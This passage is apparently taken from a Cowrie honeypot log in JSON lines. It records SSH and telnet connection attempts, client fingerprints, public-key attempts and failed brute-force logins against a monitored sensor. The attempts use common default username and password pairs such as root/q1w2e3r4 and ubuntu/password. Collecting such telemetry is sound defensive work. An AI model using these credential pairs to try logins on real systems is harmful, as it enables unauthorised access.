f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:06.264958Z","src_ip":"102.210.148.92","session":"21f37dc813c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:07.299135Z","src_ip":"102.210.148.92","session":"21f37dc813c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:08.552288Z","src_ip":"102.210.148.92","session":"21f37dc813c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":49548,"dst_ip":"10.17.0.5","dst_port":22,"session":"1026022bb5ed","protocol":"ssh","message":"New connection: 192.169.243.246:49548 (10.17.0.5:22) [session: 1026022bb5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:09.672172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:09.677297Z","src_ip":"192.169.243.246","session":"1026022bb5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:09.750552Z","src_ip":"192.169.243.246","session":"1026022bb5ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456.","message":"login attempt [root/aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:10.072080Z","src_ip":"192.169.243.246","session":"1026022bb5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:11.148213Z","src_ip":"192.169.243.246","session":"1026022bb5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.33438682556152,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:13.360397Z","src_ip":"152.42.224.71","session":"67d1692bb79c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.537590503692627,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:22.238051Z","src_ip":"152.42.224.71","session":"e1e153975ff0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"db352432b2bf","protocol":"ssh","message":"New connection: 89.108.118.91:41258 (159.203.135.109:22) [session: db352432b2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:24.671644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:24.676770Z","src_ip":"89.108.118.91","session":"db352432b2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:24.816065Z","src_ip":"89.108.118.91","session":"db352432b2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzz111","message":"login attempt [root/zzz111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:25.240731Z","src_ip":"89.108.118.91","session":"db352432b2bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:26.383890Z","src_ip":"89.108.118.91","session":"db352432b2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59318,"dst_ip":"10.17.0.5","dst_port":23,"session":"6328430b1bf0","protocol":"telnet","message":"New connection: 152.42.224.71:59318 (10.17.0.5:23) [session: 6328430b1bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:28.561172Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59322,"dst_ip":"10.17.0.5","dst_port":23,"session":"6655459f6522","protocol":"telnet","message":"New connection: 152.42.224.71:59322 (10.17.0.5:23) [session: 6655459f6522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:33.178522Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44072,"dst_ip":"159.203.135.109","dst_port":22,"session":"825f6ec64911","protocol":"ssh","message":"New connection: 192.109.200.237:44072 (159.203.135.109:22) [session: 825f6ec64911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:42.541111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:42.546442Z","src_ip":"192.109.200.237","session":"825f6ec64911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:42.629583Z","src_ip":"192.109.200.237","session":"825f6ec64911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:42.904353Z","src_ip":"192.109.200.237","session":"825f6ec64911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":57508,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f427d577d2","protocol":"ssh","message":"New connection: 139.19.117.129:57508 (159.203.135.109:22) [session: f5f427d577d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.005682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.015344Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.106233Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMz+Ulu3JyFz/HI5BR505eiUoJhtTDYvVt6i9SXXaNkKvN02t47vxhpOgKz/dTDubYAdJKKjv/z1D/jKEWgerAjkCIF2DEjTtgbZU/xsJBu4wqLsmvhDazjxKEhacNbcbm+r/FNov2BbVclgb48n5KJgjRwsWXzhwjrhsV19lEQ6qQRH6AIYdxxQgX3yeoN/fjYXleS4N9Y70JO+77yPwjCl8Z2BVGs/qGVJMBahFAK5NWyN2x/hefEEb2uXUP5tTeDfugeJm67iIRtO+6fseWhqQgeKxJd3vjOMT9TOPCKKKdoVNNTP3iZL9TaTEQcYqb9LCaJgpzHxiDWopxtvmz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.289982Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMz+Ulu3JyFz/HI5BR505eiUoJhtTDYvVt6i9SXXaNkKvN02t47vxhpOgKz/dTDubYAdJKKjv/z1D/jKEWgerAjkCIF2DEjTtgbZU/xsJBu4wqLsmvhDazjxKEhacNbcbm+r/FNov2BbVclgb48n5KJgjRwsWXzhwjrhsV19lEQ6qQRH6AIYdxxQgX3yeoN/fjYXleS4N9Y70JO+77yPwjCl8Z2BVGs/qGVJMBahFAK5NWyN2x/hefEEb2uXUP5tTeDfugeJm67iIRtO+6fseWhqQgeKxJd3vjOMT9TOPCKKKdoVNNTP3iZL9TaTEQcYqb9LCaJgpzHxiDWopxtvmz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.293854Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMz+Ulu3JyFz/HI5BR505eiUoJhtTDYvVt6i9SXXaNkKvN02t47vxhpOgKz/dTDubYAdJKKjv/z1D/jKEWgerAjkCIF2DEjTtgbZU/xsJBu4wqLsmvhDazjxKEhacNbcbm+r/FNov2BbVclgb48n5KJgjRwsWXzhwjrhsV19lEQ6qQRH6AIYdxxQgX3yeoN/fjYXleS4N9Y70JO+77yPwjCl8Z2BVGs/qGVJMBahFAK5NWyN2x/hefEEb2uXUP5tTeDfugeJm67iIRtO+6fseWhqQgeKxJd3vjOMT9TOPCKKKdoVNNTP3iZL9TaTEQcYqb9LCaJgpzHxiDWopxtvmz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.387505Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:f5:b6:16:a4:f3:fa:b9:6e:1d:f6:81:4b:93:c1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMz+Ulu3JyFz/HI5BR505eiUoJhtTDYvVt6i9SXXaNkKvN02t47vxhpOgKz/dTDubYAdJKKjv/z1D/jKEWgerAjkCIF2DEjTtgbZU/xsJBu4wqLsmvhDazjxKEhacNbcbm+r/FNov2BbVclgb48n5KJgjRwsWXzhwjrhsV19lEQ6qQRH6AIYdxxQgX3yeoN/fjYXleS4N9Y70JO+77yPwjCl8Z2BVGs/qGVJMBahFAK5NWyN2x/hefEEb2uXUP5tTeDfugeJm67iIRtO+6fseWhqQgeKxJd3vjOMT9TOPCKKKdoVNNTP3iZL9TaTEQcYqb9LCaJgpzHxiDWopxtvmz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.391638Z","src_ip":"139.19.117.129","session":"f5f427d577d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:43.989152Z","src_ip":"192.109.200.237","session":"825f6ec64911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":46030,"dst_ip":"159.203.135.109","dst_port":23,"session":"f70854c54dc9","protocol":"telnet","message":"New connection: 209.127.178.212:46030 (159.203.135.109:23) [session: f70854c54dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:44.205416Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44082,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9df5a996181","protocol":"ssh","message":"New connection: 192.109.200.237:44082 (159.203.135.109:22) [session: f9df5a996181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:45.907618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:45.913103Z","src_ip":"192.109.200.237","session":"f9df5a996181","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:45.996219Z","src_ip":"192.109.200.237","session":"f9df5a996181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:46.383799Z","src_ip":"192.109.200.237","session":"f9df5a996181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.77650761604309,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:46.837383Z","src_ip":"152.42.224.71","session":"4be31a6b7ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:47.468632Z","src_ip":"192.109.200.237","session":"f9df5a996181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":41262,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc5f86fee746","protocol":"ssh","message":"New connection: 103.149.170.125:41262 (159.203.135.109:22) [session: dc5f86fee746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:48.686157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:48.691834Z","src_ip":"103.149.170.125","session":"dc5f86fee746","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:48.953413Z","src_ip":"103.149.170.125","session":"dc5f86fee746","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44088,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2d6773b1d1d","protocol":"ssh","message":"New connection: 192.109.200.237:44088 (159.203.135.109:22) [session: b2d6773b1d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:49.300054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:02:49.305170Z","src_ip":"192.109.200.237","session":"b2d6773b1d1d","protocol":"ssh"}
